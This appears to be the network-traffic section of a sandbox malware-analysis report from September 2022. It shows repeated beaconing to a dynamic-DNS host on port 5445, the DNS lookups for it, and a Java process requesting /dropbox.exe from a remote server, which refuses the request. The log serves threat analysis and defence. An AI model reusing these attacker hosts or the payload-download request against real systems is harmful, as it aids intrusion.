Sep 20, 2022 03:51:42.317054033 CEST	80	49714	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:42.317353964 CEST	49714	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:46.838745117 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:46.838848114 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:46.838881016 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:46.839545012 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:46.839546919 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:46.840046883 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:47.076395035 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:47.141401052 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:47.156944990 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:47.185776949 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:47.185798883 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:47.257400990 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:47.272579908 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:50.561216116 CEST	80	49716	141.8.192.151	192.168.2.4
Sep 20, 2022 03:51:50.561311007 CEST	49716	80	192.168.2.4	141.8.192.151
Sep 20, 2022 03:51:51.832390070 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:51.832436085 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:51.832463026 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:51.833178997 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:51.833786011 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:51.833802938 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:52.076471090 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:52.141822100 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:52.142364979 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:52.185626030 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:52.185731888 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:52.257978916 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:52.258004904 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:56.835670948 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:56.835716963 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:56.838036060 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:56.843096018 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:56.843616009 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:56.844511032 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:57.077560902 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:57.142348051 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:57.157805920 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:51:57.185837030 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:57.186001062 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:57.258620977 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:51:57.273499012 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:01.859512091 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:01.860553980 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:01.860671043 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:01.860835075 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:01.905154943 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:01.905741930 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:02.076373100 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:02.185662985 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:02.185708046 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:06.872596025 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:06.872826099 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:06.873017073 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:06.873929024 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:06.874028921 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:06.875142097 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:07.076766014 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:07.185756922 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:07.185817957 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:11.893100023 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:11.893244028 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:11.893465042 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:11.894280910 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:11.894941092 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:11.896538019 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:12.076656103 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:12.188605070 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:12.188711882 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:16.893943071 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:16.894030094 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:16.894083023 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:16.895317078 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:16.896481037 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:16.897680044 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:17.076293945 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:17.185760975 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:17.185803890 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:21.894701958 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:21.894761086 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:21.894872904 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:21.895853043 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:21.896558046 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:21.897377014 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:22.079688072 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:22.185868979 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:22.185920000 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:26.924330950 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:26.924925089 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:26.924968958 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:26.925146103 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:26.925868034 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:26.926700115 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:27.185883045 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:27.185939074 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:27.238430023 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:27.263813019 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:27.354240894 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.004569054 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.004626036 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.004664898 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.007191896 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:32.008164883 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:32.008876085 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:32.185818911 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.185904980 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:32.264007092 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.082801104 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.083046913 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.083105087 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.129951000 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.129959106 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.129971981 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.292350054 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.293016911 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.293751001 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:37.483181000 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.483223915 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:37.576405048 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.113907099 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.114166975 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.114190102 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.155924082 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:42.156059980 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:42.156696081 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:42.376353025 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.388760090 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:42.388813019 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.108958006 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.109044075 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.109057903 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.109839916 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:47.110601902 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:47.111659050 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:47.373151064 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.388603926 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:47.388628960 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.125893116 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.125922918 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.125937939 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.127150059 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:52.127902031 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:52.128613949 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:52.375747919 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.388839006 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:52.388863087 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.140994072 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.141037941 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.141053915 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.178231001 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:57.179111004 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:57.179553032 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:52:57.375072002 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.388757944 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:52:57.388780117 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.212157965 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.212208986 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.212225914 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.212934971 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:02.212934971 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:02.213516951 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:02.374196053 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.388650894 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:02.388694048 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.571528912 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.571651936 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.571770906 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.572208881 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:07.572266102 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:07.572725058 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:07.763748884 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.888657093 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:07.888700008 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.572154045 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.572201967 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.572231054 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.572967052 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:12.573184013 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:12.573524952 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:12.763987064 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.888685942 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:12.888710976 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.600939035 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.601135969 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.601313114 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.601583004 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:17.601891041 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:17.602211952 CEST	49715	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:17.763921022 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.888917923 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:17.888967037 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:22.623086929 CEST	5445	49709	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:22.623403072 CEST	5445	49713	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:22.623522043 CEST	5445	49715	194.5.98.141	192.168.2.4
Sep 20, 2022 03:53:22.733249903 CEST	49713	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:22.780143976 CEST	49709	5445	192.168.2.4	194.5.98.141
Sep 20, 2022 03:53:22.780628920 CEST	49715	5445	192.168.2.4	194.5.98.141

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 20, 2022 03:51:00.244889975 CEST	52239	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:00.267303944 CEST	53	52239	8.8.8.8	192.168.2.4
Sep 20, 2022 03:51:01.011113882 CEST	56807	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:01.034115076 CEST	53	56807	8.8.8.8	192.168.2.4
Sep 20, 2022 03:51:11.480531931 CEST	61007	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:11.502006054 CEST	53	61007	8.8.8.8	192.168.2.4
Sep 20, 2022 03:51:12.127065897 CEST	60686	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:12.146953106 CEST	53	60686	8.8.8.8	192.168.2.4
Sep 20, 2022 03:51:19.692892075 CEST	61124	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:19.713927031 CEST	53	61124	8.8.8.8	192.168.2.4
Sep 20, 2022 03:51:20.376621962 CEST	59444	53	192.168.2.4	8.8.8.8
Sep 20, 2022 03:51:20.404151917 CEST	53	59444	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 20, 2022 03:51:00.244889975 CEST	192.168.2.4	8.8.8.8	0xe714	Standard query (0)	bestsuccess.ddns.net	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:01.011113882 CEST	192.168.2.4	8.8.8.8	0x9da	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:11.480531931 CEST	192.168.2.4	8.8.8.8	0x1a85	Standard query (0)	bestsuccess.ddns.net	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:12.127065897 CEST	192.168.2.4	8.8.8.8	0xbf2c	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:19.692892075 CEST	192.168.2.4	8.8.8.8	0xe28b	Standard query (0)	bestsuccess.ddns.net	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:20.376621962 CEST	192.168.2.4	8.8.8.8	0xa392	Standard query (0)	f0719949.xsph.ru	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 20, 2022 03:51:00.267303944 CEST	8.8.8.8	192.168.2.4	0xe714	No error (0)	bestsuccess.ddns.net	194.5.98.141	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:01.034115076 CEST	8.8.8.8	192.168.2.4	0x9da	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:11.502006054 CEST	8.8.8.8	192.168.2.4	0x1a85	No error (0)	bestsuccess.ddns.net	194.5.98.141	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:12.146953106 CEST	8.8.8.8	192.168.2.4	0xbf2c	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:19.713927031 CEST	8.8.8.8	192.168.2.4	0xe28b	No error (0)	bestsuccess.ddns.net	194.5.98.141	A (IP address)	IN (0x0001)	false
Sep 20, 2022 03:51:20.404151917 CEST	8.8.8.8	192.168.2.4	0xa392	No error (0)	f0719949.xsph.ru	141.8.192.151	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

f0719949.xsph.ru

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49710	141.8.192.151	80	C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe

Timestamp	kBytes transferred	Direction	Data
Sep 20, 2022 03:51:01.117713928 CEST	2	OUT	GET /dropbox.exe HTTP/1.1 User-Agent: Java/1.8.0_211 Host: f0719949.xsph.ru Accept: text/html, image/gif, image/jpeg, ; q=.2, /*; q=.2 Connection: keep-alive
Sep 20, 2022 03:51:01.221637011 CEST	3	IN	HTTP/1.1 403 Forbidden Server: openresty Date: Tue, 20 Sep 2022 01:51:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 64 66 62 65 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e d0 9e d1 88 d0 b8 d0 b1 d0 ba d0 b0 20 34 30 33 30 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0a 62 6f 64 79 2c 68 31 2c 70 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 7d 2a 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 7d 2e 77 72 61 70 70 65 72 2c 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 31 30 30 25 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 66 6c 65 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 6f 7a 2d 62 6f 78 3b 64 69 73 70 6c 61 79 3a 2d 6d 73 2d 66 6c 65 78 62 6f 78 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 63 65 6e 74 65 72 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 7b 77 69 64 74 68 3a 69 6e 68 65 72 69 74 3b 6d 61 78 2d 77 69 64 74 68 3a 31 30 33 32 70 78 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 77 65 62 6b 69 74 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 2d 6d 6f 7a 2d 62 6f 78 2d 6f 72 69 65 6e 74 3a 68 6f 72 69 7a 6f 6e 74 61 6c 3b 2d 6d 6f 7a 2d 62 6f 78 2d 64 69 72 65 63 74 69 6f 6e 3a 6e 6f 72 6d 61 6c 3b 2d 6d 73 2d 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 66 6c 65 78 2d 64 69 72 65 63 74 69 6f 6e 3a 72 6f 77 3b 70 61 64 64 69 6e 67 3a 31 32 38 70 78 20 31 36 70 78 20 30 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2d 6d 6f 7a 2d 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 76 68 20 2d 20 31 32 38 70 78 29 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 6d 6f 7a 2d 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 63 6f 6e 74 65 6e 74 2d 62 6f 78 3b 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 77 65 62 6b 69 74 2d 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 2d 6d 6f 7a 2d 62 6f 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 2d 6d 73 2d 66 6c 65 78 2d 70 61 63 6b 3a 6a 75 73 74 69 66 79 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 7b 64 69 73 70 6c 61 79 3a 74 61 62 6c 65 3b 68 65 69 67 68 74 Data Ascii: dfbe<!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title> 4030</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style>body,h1,p{padding:0;margin:0}*{font-family:Arial,sans-serif;font-style:normal;font-weight:400}.wrapper,.wrapper .content{width:100%;display:-webkit-box;display:-webkit-flex;display:-moz-box;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-moz-box-pack:center;-ms-flex-pack:center;justify-content:center}.wrapper .content{width:inherit;max-width:1032px;height:100%;-webkit-box-orient:horizontal;-webkit-box-direction:normal;-webkit-flex-direction:row;-moz-box-orient:horizontal;-moz-box-direction:normal;-ms-flex-direction:row;flex-direction:row;padding:128px 16px 0;min-height:-moz-calc(100vh - 128px);min-height:calc(100vh - 128px);-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;-webkit-box-pack:justify;-webkit-justify-content:space-between;-moz-box-pack:justify;-ms-flex-pack:justify;justify-content:space-between;position:relative}.wrapper .content .left-side{display:table;height
Sep 20, 2022 03:51:01.221679926 CEST	5	IN	Data Raw: 3a 34 35 30 70 78 7d 2e 77 72 61 70 70 65 72 20 2e 63 6f 6e 74 65 6e 74 20 2e 6c 65 66 74 2d 73 69 64 65 20 2e 65 72 72 6f 72 2d 62 6c 6f 63 6b 7b 64 69 73 70 6c 61 79 3a 2d 77 65 62 6b 69 74 2d 69 6e 6c 69 6e 65 2d 62 6f 78 3b 64 69 73 70 6c 61 Data Ascii: :450px}.wrapper .content .left-side .error-block{display:-webkit-inline-box;display:-webkit-inline-flex;display:-moz-inline-box;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-fle
